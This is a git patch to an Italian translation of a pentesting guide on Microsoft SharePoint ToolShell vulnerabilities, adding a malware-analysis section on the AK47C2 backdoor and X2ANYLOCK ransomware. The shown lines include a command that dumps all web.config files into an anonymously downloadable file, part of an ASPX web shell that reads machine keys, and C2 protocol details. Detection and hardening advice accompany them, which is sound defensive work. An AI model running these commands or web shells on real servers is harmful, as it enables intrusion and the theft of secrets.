From 610a3bf9a145f505de82f81211f5ec911b826f56 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 10 Aug 2025 18:35:28 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh --- .../pentesting-web/microsoft-sharepoint.md | 80 +++++++++++++++---- 1 file changed, 66 insertions(+), 14 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md index 8d320bd56..17b57da14 100644 --- a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -29,7 +29,7 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// ### 2.2 CVE-2025-49706 – Improper Authentication Bypass -La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, la MFA/SSO imposta nel sito principale può essere bypassata **senza autenticazione**. +La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, l'MFA/SSO applicato al sito principale può essere bypassato **senza autenticazione**. ### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE @@ -58,13 +58,13 @@ Inviare un parametro `Source` creato a `ToolPane.aspx` (ad es. `../../../../web. ``` cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" ``` -Il file risultante `debug_dev.js` può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili. +Il file `debug_dev.js` risultante può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili. ### 3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2) ``` powershell.exe -EncodedCommand ``` -Esempio di payload decodificato (abbreviato): +Esempio di payload decodificato (accorciato): ```csharp <%@ Page Language="C#" %> <%@ Import Namespace="System.Security.Cryptography" %> @@ -86,16 +86,67 @@ La shell espone endpoint per **leggere / ruotare le chiavi della macchina** che Stessa shell ma: * posizionata sotto `...\15\TEMPLATE\LAYOUTS\` * nomi delle variabili ridotti a lettere singole -* `Thread.Sleep()` aggiunto per evasione della sandbox e bypass basato sul timing. +* `Thread.Sleep()` aggiunto per evasione della sandbox e bypass dell'AV basato sul timing. + +### 3.4 Backdoor multi-protocollo AK47C2 e ransomware X2ANYLOCK (osservato 2025-2026) + +Indagini recenti di risposta agli incidenti (Unit42 “Project AK47”) mostrano come gli attaccanti sfruttino la catena ToolShell **dopo il RCE iniziale** per distribuire un impianto C2 a doppio canale e ransomware negli ambienti SharePoint: + +#### AK47C2 – variante `dnsclient` + +* Server DNS hard-coded: `10.7.66.10` che comunica con il dominio autorevole `update.updatemicfosoft.com`. +* I messaggi sono oggetti JSON crittografati con XOR con la chiave statica `VHBD@H`, codificati in esadecimale e incorporati come **etichette di sottodominio**. + +```json +{"cmd":"","cmd_id":""} +``` + +* Le query lunghe sono suddivise e prefissate con `s`, quindi riassemblate lato server. +* Il server risponde in record TXT che trasportano lo stesso schema XOR/esadecimale: + +```json +{"cmd":"","cmd_id":"","type":"result","fqdn":"","result":""} +``` +* La versione 202504 ha introdotto un formato semplificato `::` e marcatori di chunk `1`, `2`, `a`. + +#### AK47C2 – variante `httpclient` + +* Riutilizza esattamente la routine JSON & XOR ma invia il blob esadecimale nel **corpo HTTP POST** tramite `libcurl` (`CURLOPT_POSTFIELDS`, ecc.). +* Stesso flusso di lavoro per compiti/risultati che consente: +* Esecuzione arbitraria di comandi shell. +* Intervallo di sonno dinamico e istruzioni di kill-switch. + +#### Ransomware X2ANYLOCK + +* Payload C++ a 64 bit caricato tramite side-loading DLL (vedi sotto). +* Utilizza AES-CBC per i dati dei file + RSA-2048 per avvolgere la chiave AES, quindi aggiunge l'estensione `.x2anylock`. +* Cripta ricorsivamente i drive locali e le condivisioni SMB scoperte; salta i percorsi di sistema. +* Rilascia una nota in chiaro `How to decrypt my data.txt` incorporando un **Tox ID** statico per le negoziazioni. +* Contiene un **kill-switch** interno: + +```c +if (file_mod_time >= "2026-06-06") exit(0); +``` + +#### Catena di side-loading DLL + +1. L'attaccante scrive `dllhijacked.dll`/`My7zdllhijacked.dll` accanto a un legittimo `7z.exe`. +2. `w3wp.exe` generato da SharePoint avvia `7z.exe`, che carica la DLL malevola a causa dell'ordine di ricerca di Windows, invocando il punto di ingresso del ransomware in memoria. +3. Un caricatore LockBit separato osservato (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) decritta il codice shell e esegue **DLL hollowing** in `d3dl1.dll` per eseguire LockBit 3.0. + +> [!INFO] +> Lo stesso Tox ID statico trovato in X2ANYLOCK appare nei database LockBit trapelati, suggerendo sovrapposizione tra affiliati. + +--- ## 4. Idee di rilevamento | Telemetria | Perché è sospetta | -|------------|-------------------| +|-----------|----------------------| | `w3wp.exe → cmd.exe` | Il processo worker dovrebbe raramente generare una shell | -| `cmd.exe → powershell.exe -EncodedCommand` | Modello classico di lolbin | -| Eventi di file che creano `debug_dev.js` o `spinstall0.aspx` | IOCs direttamente da ToolShell | -| `ProcessCmdLine CONTIENE ToolPane.aspx` (log ETW/Modulo) | PoC pubbliche invocano questa pagina | +| `cmd.exe → powershell.exe -EncodedCommand` | Classico pattern lolbin | +| Eventi file che creano `debug_dev.js` o `spinstall0.aspx` | IOC direttamente da ToolShell | +| `ProcessCmdLine CONTAINS ToolPane.aspx` (log ETW/Module) | PoC pubblici invocano questa pagina | Esempio di regola XDR / Sysmon (pseudo-XQL): ``` @@ -104,14 +155,14 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers ## 5. Indurimento e Mitigazione 1. **Patch** – Gli aggiornamenti di sicurezza di luglio 2025 risolvono *tutti* e quattro i CVE. -2. **Ruotare** ogni `` e i segreti di `ViewState` dopo una compromissione. +2. **Ruotare** ogni `` e segreti `ViewState` dopo una compromissione. 3. Rimuovere il permesso di scrittura *LAYOUTS* dai gruppi `WSS_WPG` e `WSS_ADMIN_WPG`. 4. Bloccare l'accesso esterno a `/_layouts/15/ToolPane.aspx` a livello di proxy/WAF. -5. Abilitare **ViewStateUserKey**, **MAC abilitato** e *EventValidation* personalizzato. +5. Abilitare **ViewStateUserKey**, **MAC abilitato**, e *EventValidation* personalizzato. ## Trucchi correlati -* Post-sfruttamento di IIS e abuso di web.config: +* IIS post-exploitation e abuso di web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}} @@ -119,8 +170,9 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers ## Riferimenti - [Unit42 – Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) -- [GitHub PoC – Catena di sfruttamento ToolShell](https://github.com/real-or-not/ToolShell) -- [Avviso di sicurezza Microsoft – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) -- [Avviso di sicurezza Microsoft – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) +- [GitHub PoC – Catena di exploit ToolShell](https://github.com/real-or-not/ToolShell) +- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) +- [Unit42 – Progetto AK47 / Sfruttamento di SharePoint e attività di ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) +- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) {{#include ../../banners/hacktricks-training.md}}